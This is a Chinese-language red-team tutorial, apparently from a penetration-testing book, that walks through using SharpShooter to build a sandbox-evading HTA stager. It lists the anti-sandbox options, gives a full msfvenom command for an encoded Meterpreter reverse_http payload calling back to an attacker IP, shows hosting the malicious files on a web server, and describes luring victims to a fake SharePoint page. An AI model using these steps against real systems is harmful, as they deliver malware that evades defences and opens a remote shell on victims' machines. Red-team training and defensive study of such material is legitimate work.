SharpShooter
作为红队队员,最耗时的事情之一就是创建可以躲避新一代杀毒软件和沙盒安全机制的 payload。我们一直在寻找新的方法来创建我们的初始 stager
。一个名为 SharpShooter
的工具采用了许多反沙盒技术和 James Forshaw 的 DotNetToJScript 来执行 Windows 脚本格式的 shellcode(CACTUSTORCH工具—— https://github.com/mdsecactivebreach/CACTUSTORCH )。
摘自 MDSec 网站对于 SharpShooter 的描述:“SharpShooter 支持 staged
和 stageless
这两种类型 payload 的执行。staged
执行可以在 HTTP/HTTPSS、DNS 或 HTTP/HTTPS 与 DNS 相结合等这些情况下进行。当一个 staged
payload 执行时,它将尝试检索已经压缩的 C#
源代码文件,之后使用所选的传输技术进行 base64 编码。随后在主机上使用 .NET CodeDom 动态编译器对 C#
源代码进行下载和编译。然后使用反射从源代码执行所需的方法。”
让我们快速把一个示例走一遍:
- python SharpShooter.py —interactive
- 1 - For .NET v2
- Y - Staged Payload
- 1 - HTA Payload
- 可以选择使用以下防沙盒技术:
- 你可以选择你想用的技术来绕过沙盒机制从而成功的执行你的恶意软件。
- [1] Key to Domain
- [2] 确保 Domain 加入
- [3] 检查沙盒痕迹
- [4] 检查错误的 MAC 地址
- [5] 检查调试
- 1 - 网络传输
- Y - 内置 shellcode 模板
- shellcode 作为一个字节数组
- 打开一个新终端并创建一个 C# 语言的 Meterpreter payload
- msfvenom -a x86 -p windows/meterpreter/reverse_http LHOST=10.100.100.9 LPORT=8080 EnableStageEncoding=True StageEncoder=x86/shikata_ga_nai -f csharp
- 复制
{
和}
之间的所有内容并作为字节数组提交
- 为 C# 网络传输提供 URI
- 输入攻击者机器的IP/端口和文件。示例:http://10.100.100.9/malware.payload
- 提供输出文件的文件名
- 恶意软件
- Y - 你想将 payload 嵌入到 HTML 文件中吗?
- 使用自定义(1)或预定义(2)模板
- 要进行测试,请选择任意预定义模板
- 将新创建的恶意文件移动到你的 Web 目录下
- mv output/* /var/www/html/
- 为你的 payload 建立一个 Meterpreter 处理程序(handler)
配置和开发了恶意软件后,将其移至 Web 目录(malware.hta,malware.html,malware.payload),启动 apache2 服务,然后启动你的 Meterpreter 处理程序。你现在已经做好准备,通过诱导受害者访问你的恶意站点来对其发动社会工程学攻击!下图中给出的示例是 Sharpshooter 的 SharePoint 在线模板。当受害者使用 IE/Edge 浏览器访问你的恶意网页时,HTA 会自动下载并提示运行。一旦显示了提示并选择运行的话,stager payload 就会运行,下载辅助 payload(满足沙箱控件的情况下),并在内存中执行我们的 Meterpreter payload。
补充信息: